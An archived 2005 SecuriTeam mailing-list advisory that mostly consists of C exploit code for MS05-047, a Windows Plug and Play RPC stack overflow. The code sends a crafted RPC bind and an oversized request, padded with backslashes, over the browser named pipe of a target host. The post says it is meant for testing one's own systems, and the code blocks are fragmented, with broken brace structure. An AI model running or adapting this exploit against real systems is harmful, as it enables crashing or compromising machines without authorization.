

# [EXPL] Microsoft Windows UMPNPMGR Remote (Exploit, MS05-047)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0025.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 11/06/05

To: list@securiteam.com

Date: 6 Nov 2005 14:34:50 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Microsoft Windows UMPNPMGR Remote (Exploit, MS05-047)

---

## SUMMARY

A remote code execution and local elevation of privilege vulnerability exists in Plug and Play that could allow an authenticated attacker who successfully exploited this vulnerability to take complete control of the affected system, the following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Vulnerability advisories:

<<http://www.securiteam.com/windowsntfocus/6G00B0KEBG.html>> UPnP Vulnerability Allows Remote Code Execution and Local Elevation of Privilege (MS05-047)

<<http://www.securiteam.com/windowsntfocus/6I00E0KEAY.html>> Windows UMPNPMGR wsprintfW Stack Buffer Overflow (MS05-047)

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2120>>  
CAN-2005-2120

Securiteam: [EXPL] Microsoft Windows UMPNPMGR Remote (Exploit, MS05-047)

Exploit:

```
#include <stdio.h>
```

```
#include <windows.h>
```

```
#pragma comment(lib, "mpr")
```

```
#pragma comment(lib, "Rpcrt4")
```

```
unsigned char szBindString[] =
```

```
{
```

```
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
```

```
0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
```

```
0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x05,0x1b,
```

```
0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,  
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
```

```
};
```

```
unsigned char szRequestString[] =
```

```
{
```

```
0x05,0x00,
```

```
0x00,0x03,0x10,0x00,0x00,0x00,0x30,0x08,0x00,0x00,0x01,0x00,0x00,0x00,0x18,0x08,
```

```
0x00,0x00,0x00,0x00,0x0a,0x00,0x44,0xf7,0x12,0x00,0x00,0x04,0x00,0x00,0x00,0x00,
```

```
0x00,0x00,0x00,0x04,0x00,0x00,0x48,0x00,0x54,0x00,0x52,0x00,0x45,0x00,0x45,0x00,
```

```
0x5c,0x00,0x52,0x00,0x4f,0x00,0x4f,0x00,0x54,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
```





## Securiteam: [EXPL] Microsoft Windows UMPNPMGR Remote (Exploit, MS05-047)

```
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x00,0x00,0x08,0x00,0x00,0x01,0x00,0x00,0x00};
```

```
int main(int argc, char* argv[])
{
    char szServerName[MAX_PATH];
    char szPipe[MAX_PATH];
    HANDLE hFile;
    NETRESOURCE nr;

    if (argc < 2){
        printf("[+] Usage: %s <host>\n", argv[0]);
        return -1;
    }

    if ( strlen(argv[1]) > (MAX_PATH - 50) ) {
        printf("[+] Host name %s is too long !\n");
        return -1;
    }

    printf("[+] Start connect host %s ... \n", argv[1]);
    wsprintf( szServerName, "\\\\.\\%s\\pipe", argv[1] );
    nr.dwType = RESOURCETYPE_ANY;
    nr.lpLocalName = NULL;
    nr.lpRemoteName = szServerName;
    nr.lpProvider = NULL;
    if ( WNetAddConnection2(&nr, "", "", 0) != NO_ERROR ) {
        printf("[+] Connect to host %s failed !\n", argv[1]);
        return -1;
    }

    _snprintf(szPipe, sizeof(szPipe), "\\\\.\\%s\\pipe\\browser",
argv[1]);
    hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
        OPEN_EXISTING, 0, NULL);

    if ( hFile == INVALID_HANDLE_VALUE ) {
        printf("[+] Open name pipe %s failed !\n", szPipe);
        return -1;
    }

    unsigned char szOutBuffer[0X1000];
    unsigned long nBytesRead;

    printf("[+] Start bind RPC interface ... \n");
    // bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}
    if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString),
        szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
        printf("[+] TransactNamedPipe (Binding) failed !\n");
        CloseHandle(hFile);
    }
}
```

Securiteam: [EXPL] Microsoft Windows UMPNPMGR Remote (Exploit, MS05-047)

```
    return -1;
}

// send rpc request to call PNP_GetDeviceList (opnum 10)
printf("[+] Start send RPC request ... \n");
if ( ! TransactNamedPipe(hFile, szRequestString,
sizeof(szRequestString),
    szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
    printf("[+] TransactNamedPipe (Binding) failed !\n");
    CloseHandle(hFile);
    return -1;
}
printf("[+] Attack host %s complete !\n", argv[1]);
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by Anonymous.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.